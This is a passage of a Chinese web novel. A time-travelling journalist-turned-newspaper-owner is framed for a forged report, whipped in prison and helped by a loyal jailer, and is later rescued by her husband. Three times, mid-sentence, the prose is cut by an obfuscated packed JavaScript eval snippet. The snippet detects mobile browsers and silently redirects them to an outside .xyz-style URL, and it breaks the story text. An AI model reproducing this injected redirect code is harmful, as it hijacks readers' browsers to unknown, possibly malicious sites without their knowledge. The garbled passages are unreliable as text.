虽然那篇杜撰的新闻报道并非出自她手,但程玄平歪打正着地查到了她头上,发现了她和许昭的关系。再将过去一个月黎民报社对民间舆论的引导、朝堂政局的变化联系起来,恐怕程玄平已经回过味来,明白这是孟允抒和许昭联手策划的一场局。 而当下就是报复他们的绝佳时机。 只要能坐实孟允抒虚构朝廷要闻、诽谤重臣、伪造诏书等罪名,她肯定是难逃一死。同时,许昭作为孟允抒的夫君,又是刑部官员,他纵容包庇她做这些事,势必也要受到牵连。 许昭被拔除后,以程玄平为首的旧党就可以趁虚而入,用此事大做文章,批判许昭受妇人蛊惑知法犯法,甚至煽动民变祸乱朝廷。到那时,许昭不但会沦为其他官员的笑柄,皇上也难免会因此对新党的建议产生质疑。 要是他收回成命,那孟允抒等人先前的努力可谓是前功尽弃。而且,民间小报也会受到朝廷的大力肃清。 想到这件事可能引起的连锁反应,孟允抒不寒而栗。 她起身在牢房踱步,思索着应对之策。 只要她能证明那份小报与她无关,那她的这项罪名就不成立,程玄平也无法以此为据,用她和许昭的关系论证她就是之前那个散布他丑闻的人,后面一切问题就迎刃而解。 但这是一个千载难逢的扳倒许昭的机会,赵逾明他们肯定不能为她留有翻身辩白的余地。不管那篇报道是不是她写的,最终的案件卷宗上,在犯人处都会落下她的名字。 也就是说,这件事的真相已经不重要了。他们抓捕自己的根本目的不是破案,而是将她作为政治斗争的筹码。因此他们才会提前控制住许昭,又急匆匆地将自己带到这里,好让她陷入孤立无援的境地;也正是因此他们才没有直接查封报社,把其他人牵扯进来。 在报社成员中,尤其是采编部的职工,有一部分人是官家出身。要是程玄平将他们一网打尽,他们联合起来抵抗,那也会凝成一股不容小觑的力量。他不能给自己到处树敌,所以选择拿孟允抒开刀杀鸡儆猴。正如萧睿言所说,朝中数量最多的是中立派,他们见到孟允抒的下场,大多都会选择明哲保身。 这些人分明是有备而来。 孟允抒的思绪纷乱,不知道是不是因为思考消耗了她的太多精力,她觉得自己的头部隐隐作痛。当前她找不到破局的办法,于是打算暂时保存精力,静待时机。 而后,她倒向身下的稻草堆,昏昏沉沉地睡了过去。 “哎,醒醒。赶紧起来。” 孟允抒被粗暴的摇晃唤醒,挣扎着站起身来。她面前是两个拿着镣铐和锁链的狱卒,赵逾明则站在门外,露出阴鸷的笑容:“孟夫人久等了,请随我走一趟吧。” 孟允抒了然,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671674|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是轮到她接受审讯了。她一言不发,默默地让狱卒给她戴上戒具,被他们押着跟在赵逾明身后。 连日的疲累好像积累成了酸痛,她察觉到自己的脚步虚浮,身体发烫,每一步仿佛都踩在棉花上,让她头晕目眩。今天上午她就感觉自己的状态不大对劲,比平时都要困倦乏力。现在她应该是发起烧来了。 真是屋漏偏逢连阴雨。就冲牢房的卫生条件,不给她的病情雪上加霜就不错了。 赵逾明走在她前方,对她冷嘲热讽道:“孟夫人真是处变不惊,出了这么大的事,在牢房里还能酣然入睡。” 孟允抒单从赵逾明对她的称呼就能判断得出,果然如她所料,他是冲着许昭来的。 她强行打起精神,试探他的口风:“赵大人此言差矣,那篇文章并非由我所作,我问心无愧,当然能睡得踏实。” “好一个‘问心无愧’。”赵逾明嗤笑着摇摇头,“我抓捕你时,你手上正拿着那份小报,如今却面不改色地说此事非你所为,宣称自身无罪。孟夫人不觉得你的话漏洞百出吗?” “那小报是一位伙计买来的,她发现文章作者冒充我的名号,还伪造《黎民日报》的独家标识,为将此事告知于我才买下了它。” 孟允抒讲述着事情的经过,又举证道:“来这之前我就告诉过赵大人,文稿结尾处的那标识与我们报社的有细微不同,只要仔细分辨就能察觉。况且,若是我想污蔑程大人,理应避其锋芒,怎敢将我们报纸的名号堂而皇之地印在报头?” “孟夫人所言极是,可你提出的这些都无法作为你无罪的凭据。” 赵逾明一行人带着孟允抒进了刑室,他挥手示意狱卒将孟允抒绑在行刑架上:“随着印制次数的增加,所用的模具自然会磨损变形。况且,印制图案的清晰程度也与纸张材质、墨水用量有关,只要其中一个环节发生微小的改变,其最终呈现出的效果就大有不同。” 孟允抒的手腕被粗粝的麻绳勒得生疼,在昏暗的刑室中,到处都安置着形状各异的刑具,上面的血污让人触目惊心,她根本不敢想象来到这里的犯人都要经历怎样残忍的折磨。 赵逾明和这些刑具一样,都是青面獠牙的恶魔。 孟允抒按下心中的恐惧,再次声张自己无罪:“赵大人,关于此事的内情,我已经掌握了部分线索,只是还没来得及去调查。若你按这些线索去搜寻,一定能找到真正的作者。到那时,我身上的嫌疑自然就能被洗清。” “孟夫人,都到这个时候了,你居然还不肯说实话。”赵逾明装出失望的神情,叹了口气说道,“我要是听信你的一面之词浪费人力,那才真是中了你的缓兵之计。” 他退后几步,走到靠墙的那张椅子上坐下,对孟允抒说道:“既然你不愿意供认罪行,那我也只能按规矩办事了。” 赵逾明转过头,给旁边的狱卒使了个眼色:“打。” 那狱卒将手中的皮鞭在盐水中浸过一遍,走到孟允抒面前说:“孟夫人,对不住了。” 一道鞭痕赫然出现在孟允抒肩部,接着是更多、力道更大的鞭打。 鞭笞之刑所带来的痛楚比孟允抒预想中还要剧烈,加上她本身就发着烧,在皮鞭甩出的虚影中,眼前的景象全都化为了混沌而扭曲的模样。 孟允抒咬紧牙关,抽出一丝理智分析现状。赵逾明的行为印证了她的猜想,他根本就没打算抓捕真正的犯人,只想让她屈打成招。 为了不让他们的奸计得逞,她得先扛过这一遭。 43. 转机 剧痛如虫蚁般咬啮着孟允抒的神经,将她一点点地从昏迷中扎醒。 她用仅存的一点力气撑起眼皮,望向那个狭小的通风口。 一缕清辉从缺口斜斜地照射进来,但孟允抒看不到月亮,更无法通过它在夜空中的位置判断现在的时间。 她重新合上双眼。孟允抒只记得,在自己失去意识之前,她就已经在鞭刑中疼晕过去了几次,但每次都要被冰冷的盐水泼醒。盐水渗入伤口的灼烧感将她激醒,而后她又会因剧痛陷入昏迷。这样折腾了几次后,这招已经起不到任何作用。她最后一次昏过去后,再醒来就是在牢房中了。 孟允抒心里很清楚,今天的刑罚还只能算是开胃小菜,接下来赵逾明只会变本加厉。 她本想着保存体力以应对接下来的变故,可没想到一觉醒来,她只觉得脑袋比先前还要昏沉几分。她的高烧未退,又受了重刑,也没有人给她提供水和食物。照这样下去,她根本就撑不了几天。 恐怕这也正是赵逾明的计划之一。如果她一直不承认罪行,那就将她折磨致死,而后他们再实施行动。 反正结果都一样。 按照她之前思考得出的结论,当前她唯一的破局方法就是查清真相,摆脱自身的嫌疑。 可如今她身陷囹圄,被切断了和外界的一切联系,不可能开展调查;许昭强行被排除在事件之外,他也无法插手此事;她不知道报社成员们的立场,即使所有人都愿意帮她,她也不知道他们该怎样绕过赵逾明等人,直接将冤情上诉给朝廷。 孟允抒觉得自己仿佛走进了一个死局。 当初她正是因为当记者得罪了人,这才因飞来横祸丧命,而后穿到了胤朝。结果她不长记性,重获新生后又干起了老本行,落得如今的下场。 她倒是不后悔,只是有些唏嘘。 说真话的人就一定为世间所不容吗? 孟允抒的意识忽明忽暗。朦胧之间,在昏暗的光线中,她似乎看到一个人影正站在她的牢房门外,看他的动作像是开锁。 她自嘲地想,也不知道是因为疼痛还是饥饿,她居然都出现幻觉了。 当这道身影蹑手蹑脚地靠近她时,孟允抒才猛然发觉不对劲。 这是真实的景象! 孟允抒瞪大眼睛就要叫喊,来人却先一步捂住了她的嘴。 “嘘,别出声。” 他神色紧张地回头打量了一番,而后压低声音说道:“孟社长,我是来帮你的。” 孟允抒见他身上的衣服样式与其他狱卒一致,个头不高但体型结实,看起来三十多岁的样子。虽然她并没有完全放下戒备,但还是先点了点头,表示答应他的话。 那狱卒松了口气,将手从孟允抒嘴上挪开:“抱歉孟社长,方才冒犯了你。”而后他从身上解下一个水壶,将它递给孟允抒说道:“你快喝些水吧。” 孟允抒没有伸手去接水壶,警惕地看着他道:“你是何人,为什么要帮我?” “我是这里的狱卒。”他先回答了一个显而易见的身份,“平日里我经常会买《黎民日报》来读,我很喜欢那上面的文章。” 听他的意思,他是《黎民日报》的忠实读者。 “《黎民日报》的报道生动详实,内容丰富,而且从不弄虚作假。过去我曾听信一个生意人的谗言,险些将全部积蓄拿来给他,要不是你们及时在报上揭露这种骗局,恐怕我们一家老小都已经流落街头了。” 孟允抒对他所说的这篇报道有些印象。看来,他说的话有些可信度。 她接过狱卒手中的水壶,虽然她的嗓子已经干得像要冒烟,但还是竭力克制住了想将它一饮而尽的冲动。 狱卒看出孟允抒的犹豫,索性将水壶又拿回来说道:“要是孟社长不嫌弃,我先为你喝一口试毒。” 他仰起脖子就灌了一大口水,而后再次将水壶递给孟允抒:“孟社长放心,我绝对不会加害于你。” “多谢。” 孟允抒放下顾虑,她只来得及吐出两个字,就急不可耐地接来水壶,大口大口地喝起了水,不一会就将一个空壶还给狱卒。 清凉的甘泉下肚,她终于恢复了些力气,这才问他道:“今晚和你一起值夜的同僚呢?你这样偷摸着给我送水,不怕旁人发现吗?” “那几个人都是酒鬼,我给那酒里下了点东西,他们根本没察觉到,现在睡得正沉呢。”狱卒说道,“不过那药效维持不了多长时间,我们得长话短说。” 说罢,他告诉孟允抒他来这的目的。 “孟社长,我相信你不会做出这种捏造新闻的事,所以定然是有人想要加害于你。如今你被困在此地,皇上又特意下旨不让许大人参与此事,这样下去你只会凶多吉少。” 焦急和忧虑爬上他的面庞。 “你和许大人都是为黎民百姓着想的好人,我不能眼睁睁地看着你受难。但我只是一个小小的狱卒,一家老小都要靠我养活,我不敢做那些掉脑袋的事,所以不能放你出去,将请孟社长见谅。” 他的语气有些惭愧。 “我只是想尽我所能,看看能不能帮上你什么忙。孟社长尽管开口,只要是我能做到的事,我就尽力去办。” 孟允抒看到一线生机,喜出望外道:“你不必这样说,你愿意帮我,我已经是感激不尽。” 她的大脑飞速运转,既然这狱卒认识许昭,那最好说些有关他的事。 “许郎现在情况如何?皇上可有降罪于他?” “你被抓捕归案后,陛下就撤走了把守在许府的人。许大人如今的行动还算自由,但皇上不许他进入皇宫和官府。” 狱卒补充了整件事的细节:“今早上朝时,皇上曾让程大人、赵大人同许大人当面对质,责问他是否知道你在外办报、散播谣言之事。许大人说,他认为你办报是好事一桩,而他一直从旁监察报纸内容,你绝对不可能违反律令。” “这时,陛下派出去调查此案的人回来禀报,说是在许府搜出了过去几月的《黎民日报》,但并未发现违令的内容。因此皇上没有立刻给许大人定罪,只是让他暂时停职,将此案委托给赵大人查办。” 孟允抒知道,过去许昭会认真审查每期报纸的内容,而后将其整理归纳到书房。这道保险措施也算是救了他一命。 程玄平这伙人真够阴险的,专门趁着府中无人的时候前去搜查,许昭对此并不知情。如果许昭为了将自己和这件事撇清关系而给出否定回答,那他当场就会被扣上一顶“欺君之罪”的帽子。 许昭得知此事肯定也是十分愤慨,再加上皇上给出这种不公的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686320|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理结果,就凭他的性子,孟允抒都能想象得到他会作何反应。 狱卒的话证实了她的推测。 “许大人对陛下作出的决断不满,话里话外指责他是非不分听信谗言,几句话就惹恼了皇上。后来,皇上将他轰出大殿,派人把他监禁在府中,吩咐他们等你被抓捕归案后再放他出来。皇上本就因伪诏之案火冒三丈,再加上这事,只要有人给许大人求情,皇上就会大发雷霆,迁怒于他。现在旁人根本不敢提他的名字。” 俗话说忠言逆耳,许昭的忠言更是难听得没边儿。他能在朝中活到现在算皇上脾气好。 不过,根据狱卒的讲述,许昭现在虽然无权插手案件,但他好歹能够自由行动。这就足够了。 思索片刻后,孟允抒对狱卒说道:“这位——” 她停顿了一下转而问道:“敢问大人姓甚名谁?” “大人不敢当。”狱卒不好意思地摆摆手,“我叫刘冀。” 孟允抒点头,她总得记下恩人的名字。 “刘大人,有劳你帮我给许郎捎几句话。” 孟允抒把她掌握的线索全部告诉了刘冀,嘱托他将其转告给许昭:“请你告诉许郎,让他动员一切能够帮助我们的人,尽快找到那篇文章真正的作者及发行方,将真相上达天听。” 她坚信,凭借许昭的品行,即使两人的关系正处在僵局,他也一定会竭尽全力救她。现在这个难关更是考验她和许昭的人缘的时刻。 相比于前者,孟允抒更加担忧这一点。她和许昭平时干的尽是些得罪人的事,他们的仇家不少,估计会有许多人趁机落井下石。她不知道有多少人会弃自身安危于不顾,愿意趟这趟混水来帮她。 怪不得人们都说“患难见真情”。 刘冀把孟允抒说的话都牢记在心间,向她点头道:“孟社长放心,这件事就交给我了。” 他看见孟允抒遍体鳞伤的模样,痛心疾首地说道:“只是委屈你还要在此处受几日苦。我们都知道赵大人阴狠,他和许大人本就不对付,定然想抓住这次机会将你置之死地。这几日晚间都是我当值,我会将情报和吃食一并送给你,请你一定要撑住。” “我明白,刘大人也万事小心。” 说到最后这句话时,孟允抒已经是气若游丝,拼尽全力才从牙缝里挤出字词。思考和说话都耗费了她太多气力,她险些因体力不支再次昏过去。 这让孟允抒想起来一件事,她赶在刘冀起身离开前向他补充道:“刘大人,若是许郎问起我的情况,你就说我一切都好,千万不要将我的这般模样告诉他。请你叮嘱他,如果他在调查过程中遇到危险,切记优先保全自身,这样才能救我。” “好。” 刘冀点头应允,临走前感慨万分地说道:“孟社长和许大人当真是伉俪情深,难怪他会在听闻此事后失了理智,冒着杀头的风险为你辩白。” 因为担心惊动旁人,刘冀刻意压低了声音说话。但在孟允抒听来,“伉俪情深”四字却如雷贯耳。 除却那位孟姑娘的身份,她和许昭并非伉俪,何来情深。 如果她有幸能逃过此劫,待她重见天日后,她一定要把自己的真实身份明明白白地告诉许昭。 她不想再欺骗他。用假意换来的真情,她宁可不要。 44. 脱罪 接下来的几日,孟允抒保持清醒的时间越来越短。 一开始她还能在晚间打起精神,听刘冀向她传递外界的情报,请他替自己给许昭传达指令;可后来她已经没了睁眼的力气,刘冀说出的话落到她的耳中后都变成了零散的字词,她无法将它们连缀成句,更听不懂它们的意思,给出的回应也都是几个模糊的语气词。 刘冀见状也不好再同她交流,只能在每夜偷偷地将水和食物带进来,给她鼓劲打气,让她再坚持一下。 深夜,牢房的大门照例被人打开。 孟允抒抬眼看向门口,她视野范围的景象比昨日还要模糊,只能依稀分辨出一个人影正迅速向她接近。 她看不清那人的脸,习惯性地悄声问道:“刘大人?” “不,允抒,是我。”那人的声音充满焦急和心痛,孟允抒感觉到自己的身体离开地面,像是被人打横抱了起来,“他们竟然对你下此毒手。” 伴随着这道耳熟的声音,孟允抒勉强聚焦起视线,见到了一张让她朝思暮想的脸。 现在这张脸近在咫尺,她几乎分辨不出这是梦境还是现实。 她抬起手臂,摸到了他发热的脸颊。 “许公子,你还好吗?他们有没有把你怎么样?” “我没事。”许昭急匆匆地抱着她朝牢房外走,“你不要说话了,省些力气。” 但孟允抒心中还有个疑惑。 “我们这是要去哪?” “你的嫌疑已经被洗清了。”孟允抒感到自己被许昭抱得更紧了些,“我们回家。” 这句话让孟允抒感到莫大的安心,她松开心防,踏实地靠在许昭怀里,而后眼前一黑,再次晕了过去。 所以,她也没听到许昭那声惊慌的呼喊。 “孟女士,您还有什么想问的吗?” 在一片纸张翻动的窸窣中,一个许久未曾听到的称呼回响在孟允抒耳畔,让她一时间愣在原地。 她错愕地抬起头,在大厅最前方深蓝色的背景板上,赫然印着“新闻发布会”几个加粗黑体字。在那前方,端坐着几名西装革履的工作人员。和他们的目光一起投来的,是记者席上所有来宾的视线。 显而易见,她当前是全场关注的焦点,所有人都在等着她的回答。 孟允抒赶忙捏紧了手里的麦克风,先将这事搪塞过去:“没有了,谢谢。” 随着她落座,无数双眼睛都转了回去,回到各自要做的事情上。 孟允抒惊魂未定地打量着四周的环境,她身旁的阶梯上站着几名摄影师,相机的闪光灯不断映亮发言人的面庞。快门声、采访声、笔尖与纸面的摩擦声充斥着她的耳朵,眼前的一切都熟悉而陌生。 在几个月以前,这种场景对她来说是家常便饭,可眼下的情况显然不对劲。 她刚才还身处胤朝,在刑部的牢房里,怎么转瞬之间就回到现代,参加新闻发布会来了? 孟允抒扯来胸前挂着的入场证,上面标注的姓名和工作单位正属于她。 她对当前的情况不知所措,于是起身请旁边的记者为她让出一条路,借口前去卫生间,以此摆脱众人,独自整理思绪。 孟允抒步履匆匆地赶到卫生间,打开水龙头就往自己脸上泼了把凉水,试图使自己镇静下来。她抬头看向镜中的自己,她的脸上挂满水珠,像是一轮水中的月亮。 她惊惶地后退几步,一时分辨不出镜中的人到底是谁。 而后,身边的场景突然扭曲成一个个漩涡,而后破碎、坍塌,最后只剩下一片白茫茫的空间,以及她眼前的“自己”。 对面的人和她容貌相同,身着一袭浅蓝衣衫,气质温婉娴静,头上簪着一支小巧精致的金钗,正惊奇地看着她。 孟允抒顺着她的视线,低头看了看自己的打扮。她穿着一身正装,脖子上还挂着那个表明她身份的入场证,这是她的经典社畜皮肤。 对面那位姑娘将她从头到脚地打量了几遍,对眼前的景象惊叹不已:“世上当真有与我如此相像的人。” 孟允抒对两人的身份有了初步判断,于是报上原主父母的姓名,试探性地问道:“孟姑娘,你可是他们二人的独女?” “正是。”那位孟姑娘一脸不可思议地应声,说出孟允抒的父母名字发问道:“孟女士,这可是令尊与令堂的名讳?” 孟允抒惊异地回答:“对。” 两人的衣着和对彼此的称呼形成了鲜明的对比,这种反差让孟允抒觉得十分奇妙。而她们能说出彼此父母的信息,这说明两人都掌握着关于对方的情报。 孟允抒和原主对上了暗号,于是向她询问如今的处境。 据那位孟姑娘所说,孟允抒并不是单方面地穿到了胤朝,两人更像是灵魂互换。 孟姑娘自缢后,再次睁开眼时就已经躺在了医院的病床上。旁人告诉她,在他们发生车祸时,过路的行人车辆及时报了警,当前车上的人都已经脱离了生命危险。后来孟姑娘所做的事和孟允抒类似,都是按照原主的记忆伪装自己隐藏身份,努力而谨慎地融入周边的环境。 “真是辛苦你了。” 孟允抒知道,孟姑娘原先可是十指不沾阳春水的高门贵女,穿到她身上之后不但没人伺候,反而还要为那三四千块钱的月薪拼命干活,这种巨大的落差无论放谁身上都难以承受。 “这份工作是累了点,但现在我能自食其力,还结交了不少朋友,心里比以前踏实多了。”孟姑娘莞尔一笑,“最起码我活着还有个盼头,每月就等着工资到账呢。” 孟允抒看得出,她的确比自己记忆中的模样开朗了许多,说起话来也充满自信。 孟姑娘滔滔不绝地分享着她的见闻:“而且这里可比大胤好玩,有那么多新奇的玩意儿,尤其是网络和手机,实在是太方便了。” 说到这里,她像是想起来什么似的停顿了一下,而后对孟允抒说道:“这样说来,你才是更辛苦的那个。我现在简直无法想象,以前我没有卫生巾的时候,每次来月事是怎么熬过去的。” 两人说笑了一会,孟允抒将话题拉回正轨,向孟姑娘打听自己父母亲友的消息:“他们如今过得怎么样?” “放心,他们都很好。” 孟姑娘同她一一讲述了这些人的近况,转而问道:“秋盈姐姐现状如何?” 比起孟允抒问的那一连串人名,孟姑娘所提的问题显得十分简短。 和她关系亲近的人只有这一个。 想到孟姑娘寂寥的身世,孟允抒疼惜地牵起她的手:“别担心,秋盈现在也过得很好。” 孟允抒向她告知了这几个月来她和秋盈一起经营报社的事,孟姑娘听得心潮澎湃,激动地握紧她的手:“你居然能带着秋盈闯出这样一份事业,着实令我敬佩。多谢你对秋盈的提携和照顾。” 孟姑娘回味了一下孟允抒刚才说的话,若有所思道:“这样说来,我也是错怪了许公子。还请你替我向他道歉。” 这句话一落音,孟允抒又陷入长久的沉默。 “孟姑娘,过去你和许公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699307|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子虽然生活在同一屋檐下,却甚少交流。”她终于开了口,问出那个在心中郁结已久的问题,“如今我假借你的身份,同许公子的感情与日俱增,你会不会怨我,认为我卑鄙无耻?” “这问题也正是我想问的。”对面那位孟姑娘也垂下眼眸,“你会因为我占用了你的身体,利用你的身份而生气吗?” “当然不会。”孟允抒摇头道,“反正我已经回不去了,你能够替我陪在他们身边,我反而应该感谢你。” “谢谢。”孟姑娘的眼神复而明亮起来,像是得到了极大的赦免。 “那我的答案也一样。”孟姑娘的眼中盛着温柔的笑意,“我们本来就没有太大差别,从今往后我就是你,你就是我。所以,这是你自己的事,不必过问我的意见。” 孟允抒豁然开朗,心旌也随着她的话语而摇曳。 随后,她四周无端地起了风,那风力越来越强,将孟姑娘的身影刮得弯曲模糊,如同吹皱的一池湖水。 发现这个空间摇摇欲坠后,孟允抒连忙上前一步,给了孟姑娘一个拥抱,想要同她告别。 孟姑娘先是一愣,而后反应过来这是现代人特有的热络,于是也张开双臂紧紧抱住孟允抒。 孟允抒轻轻拍着孟姑娘的后背:“再见,祝你拥有光明灿烂的未来。” 孟姑娘对孟允抒笑道:“再见,祝你前程似锦。” 这句话落音后,孟允抒惊异地发现,她和孟姑娘的衣着居然发生了对调,现在她正穿着孟姑娘那身衣裙,恢复了她在胤朝时的日常打扮。 可四面八方呼啸而来的疾风盖住了她的声音,她也听不清孟姑娘在说什么。眼前的光线一点点暗下去,孟允抒好像被人推了一把,踉跄地向后跌去。 “!” 孟允抒猛然睁开双眼,映入眼帘的是那片藕荷色床帐,绣有淡雅的兰花图样。 这是她自己的卧房。当然,是胤朝版本。 一阵微风从孟允抒脸上拂过,她转头看向窗户,这阵风正将竹帘吹得轻轻扬起,窗外传来聒噪的蝉鸣。 而在她视线的必经之路上,许昭正阖着双眼伏在她的床边,脊背随着他均匀的呼吸上下起伏着。 孟允抒抬起手臂想要去抚摸他的面庞,却在即将触碰到他的时候收回了手。她不忍惊扰这份难得的安宁,于是将目光挪回床帐上,回想着自己这几日的遭遇。 她遭到他人诬陷后,还没来得及作出反应就被卷入这场惊变。在刑部大牢的这些日子宛如一场噩梦,好在刘冀为她提供了诸多帮助,让她能够和许昭互通消息。靠着他提供的食物,她好歹撑到了许昭来救她。 而刚才发生的事太过奇幻,她不知那是梦境,还是她真的见到了那位孟姑娘。 紧接着,更多问题浮上心头。 她昏迷了多久?现在报社的情况如何?她到底是怎么脱罪的?程玄平等人对此又作何反应? 思考片刻后,孟允抒觉得自己的身体有些僵硬,于是想换个姿势躺着。 她刚一翻身,就发现许昭被这动静惊醒过来,面带倦容地睁开眼睛。 刹那间,孟允抒觉得自己像是与许昭久别重逢。先前两人之间的隔膜还没有被打破,她一时不知道该说些什么,由于紧张和局促而屏住了呼吸。 许昭抬起头,睡眼惺忪地看了孟允抒一眼,两人的目光正巧在空中交汇。 他瞬间从床边蹦了起来,将整个上半身都凑到她面前,语气中是掩不住的惊喜。 “允抒,你终于醒了。” 45. 朝阳群众 许昭的反应将孟允抒心中的顾虑一扫而空,她甚至觉得方才的自己根本就是杞人忧天。 他对她的关心还是一如既往地不加遮掩,这样的感情太纯粹太贵重,孟允抒几乎不敢直视他的眼睛,接下这份爱意。 见孟允抒不说话,许昭只当她是因为病痛而感到不舒服,急切地问道:“你现在感觉如何?身体可有不适?” “我很好,我的身子并无大碍。”孟允抒心中泛起一阵酸楚,她极力压制住自己激昂的情绪,鼓起勇气看向许昭,对他笑了笑:“谢谢公子。” 许昭却觉得孟允抒分明是在逞强,语气笃定地说:“你就是在瞒我,你看你眼圈都红了,那眼泪都在眼眶里打转,还说没事。我去给你请郎中。” “不用。”孟允抒赶紧拦住许昭的动作,想把这事糊弄过去防止他深究,“我真的没事,你陪我说说话便好。” 许昭却没打算放过她,他仔细观察了一番孟允抒的神色,还是得出了她肯定是被疼哭的结论。 孟允抒觉得,许昭这人简直就是不解风情。 见他不依不饶,孟允抒只能抛弃自己的面子,对许昭道出实情:“我不是因为病痛才想哭的,只是见到公子,我一时情难自已,这才会喜极而泣。” 孟允抒这句话出口后,不好意思的人又变成了许昭。 “原来如此。”许昭讪笑着掩饰尴尬,眼神飘忽地说道,“是我多虑了。” 许昭的反应让孟允抒顿悟了和他相处的诀窍,只要她先主动出击流露真情,就能够掌控局面制服许昭。 孟允抒当即就试验了一下这种方法,凭借她的职业技能,几句话就将许昭说得面红耳赤,手足无措。 在和许昭说笑时,孟允抒像是失而复得那般,用目光珍重地将许昭的身影描摹了几遍。许昭看起来比以前憔悴许多,眼窝深陷,身形也消瘦了几圈,想来应是担忧她的身体所致。 孟允抒的笑容逐渐消退。她不知道他经历了多长时间的煎熬。 “我睡了有多久?” “三天三夜。”许昭回答,“今天是第四日。” 与他凌乱的头发相对的是那双因喜悦而发亮的眼瞳,他激动却小心地攥住孟允抒的手:“我将你带回府中后就请了郎中来,他为你开了疗伤治病的药。头一日你便退了烧,却一直都不曾醒来,我真担心……” 孟允抒当然明白他话里隐去的内容是什么。这是许昭心上的陈疾,可她险些又为他再添上一道新伤。 “对不起。” “不,应当是我向你道歉才对。”许昭自责地说道,“若我能早些发觉程玄平等人的诡计,你也不会受到这般伤害。” “话不能这样说。” 孟允抒躺得久了,她想起身和许昭说话,却因不小心扯到了伤口而吃痛地皱起眉头,倒吸了一口凉气。 许昭见状连忙来扶她:“你身上的伤还没好利索,动作慢点。” 说着,他在她身后垫了些枕头被褥,让孟允抒借着他的力道靠在上面。 钻心的痛感让孟允抒想起来赵逾明那个狗东西对自己的所作所为,虽然她身上还没什么力气,但心头燃起的怒火让她的声音变得铿锵有力:“有错的是这几个天杀的阴险小人。敢这么招惹我,等我出去了有他们好看的。” 几声轻笑打破了孟允抒放狠话的氛围,她不解地看向许昭:“你笑什么?” “我笑你比我预想中更坚强。”许昭收敛笑意正色道,“我本以为你经此劫难后会对他们有所畏惧,却没想到你是愈挫愈勇。” “那是自然。既然我选择了从事这种行当,就绝对不会退缩。” 孟允抒自得地说出她的想法,却不知道这件事会不会动摇许昭的心态。 她问许昭:“公子,你不怕吗?” 许昭明白她指的是什么。 “怕,我不可能不怕。”许昭的眼眸垂下又复而抬起,“但正如我所说,我更害怕你被终日困在闺阁当中,空有一腔抱负和才华却无处发泄,郁郁寡欢。” 尽管遭遇了这样惊险的风波,许昭还是坚定不移地支持她。这反倒让孟允抒不再像过去那样无所顾忌。 她握紧许昭的手,作出一个郑重的承诺:“我向你保证,以后我行事一定会更加小心。” 经历此番磨难,孟允抒更加体会到,她和许昭做的事都十分危险,一招不慎就会万劫不复。为了看到他们共同理想落地的那一刻,她需要不断总结经验,调整策略。 单凭一腔孤勇是走不长远的,只有先保全性命才能够同敌人对抗。 孟允抒思索着从这件事中她能汲取哪些教训。她向许昭问道:“说起来,我是怎么被赦免的?” 她对这件事的记忆还停留在许昭按她的指示和线索开展调查的时候,后面发生了什么事她毫无印象。 “我从刘冀那收到你的情报后,就去找了所有我能想到的人,向他们求助。”许昭讲述着当时的情况,“但当时你我都身处险境,在旁人看来你我都没有半分翻身的胜算,陛下又对我恼怒不已,因此只有两三位官员敢在暗中助我。其中,睿言为此事出了不少力。” 说完官员方面,许昭又提起报社成员的动向:“他们也是一样,在明白过来赵逾明等人的真实目的后,有些人或是碍于自己的身份,或是害怕被此事波及,选择置身事外。为这事盛姑娘将他们痛斥了一顿,有些人不服便反唇相讥,好在秋盈及时控制住了局面。” 孟允抒点点头。有人的地方就有江湖,他们报社中的局势和朝廷也不会有太大区别。她不在报社的这些日子里,每个人都有自己的想法,立场不同便产生了矛盾,因此肯定免不了各种冲突。 “不过,在处理报社事务的同时,秋盈、谨言、排云、盛姑娘等人自始至终都在想办法帮你查清真相,为此事殚精竭虑。” 孟允抒觉得这场磨难对她来说也不全是坏事,至少她能通过这些人的表现判断出,哪些人是她值得信赖的心腹。 “真是难为你们了。”孟允抒对他们满怀感激,系统给她的线索都十分模糊,即使她通过推理缩小了调查范围,但依然需要耗费巨大的人力。要让这几个人在短短几天内锁定目标掌握证据,将其整理成合乎逻辑的链条,实属不易。 许昭却摇摇头,拒绝了这一夸赞:“若是单靠我们,恐怕还得再过十天半个月才能将你从狱中救出。其实在此事中,出力最多的都是些平头百姓。” 孟允抒诧异道:“此话怎讲?” “听闻你出事后,有许多《黎民日报》的读者都涌去报社询问你的情况,还有些曾经参与过识字会的民众,他们也对你的境况忧心不已。那时我能调动的人手实在太少,索性病急乱投医,请他们助我一臂之力。” 